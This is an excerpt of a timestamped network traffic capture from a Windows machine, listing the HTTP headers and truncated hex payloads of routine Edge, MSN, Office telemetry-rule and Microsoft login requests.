2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=297134 Expires: Fri, 15 Nov 2024 18:02:51 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-12 07:30:37 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 8dbb6d01-901e-005b-07a0-342005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073037Z-15869dbbcc6lq45jhC1DFWtecs000000011g0000000063p8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: e1e5caf7-d01e-00ad-6fa7-34e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073037Z-17df447cdb54qlp6hC1DFW67e800000001fg000000002k9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073037Z-16547b76f7f7rtshhC1DFWrtqn0000000f7g00000000hyg7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49884	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 9296deb1-201e-003f-34a2-34dfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073037Z-15869dbbcc6khw88hC1DFWbb20000000097g000000003bt8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073037Z-16547b76f7fj897nhC1DFWdwq40000000f700000000042v3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073037Z-16547b76f7fj897nhC1DFWdwq40000000f60000000005zsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49888	3.170.115.68	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	1012	OUT	GET /b2?rn=1731396634698&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=048A31DB7A676AF1398424EE7B306B35&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B0ebc8e096ca385d16ef571731396636; XID=1B0ebc8e096ca385d16ef571731396636
2024-11-12 07:30:37 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 12 Nov 2024 07:30:37 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 bfa53a80f6dfc9b7716276f3cc9260dc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: NLfL8bbUFKQIMx3cukfn_XGXmWqpAR0KSYS-RR1YPXCx_40xo3bhKg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49887	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:37 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073037Z-16547b76f7f9rdn9hC1DFWfk7s0000000fd0000000000kuy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:37 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49886	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 07:30:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 07:30:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 07:29:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 041a7f53-0adc-45fc-99b0-a05c6bcd01c7 PPServer: PPV: 30 H: BL02EPF0001DA02 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close Content-Length: 11392
2024-11-12 07:30:38 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	57066	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
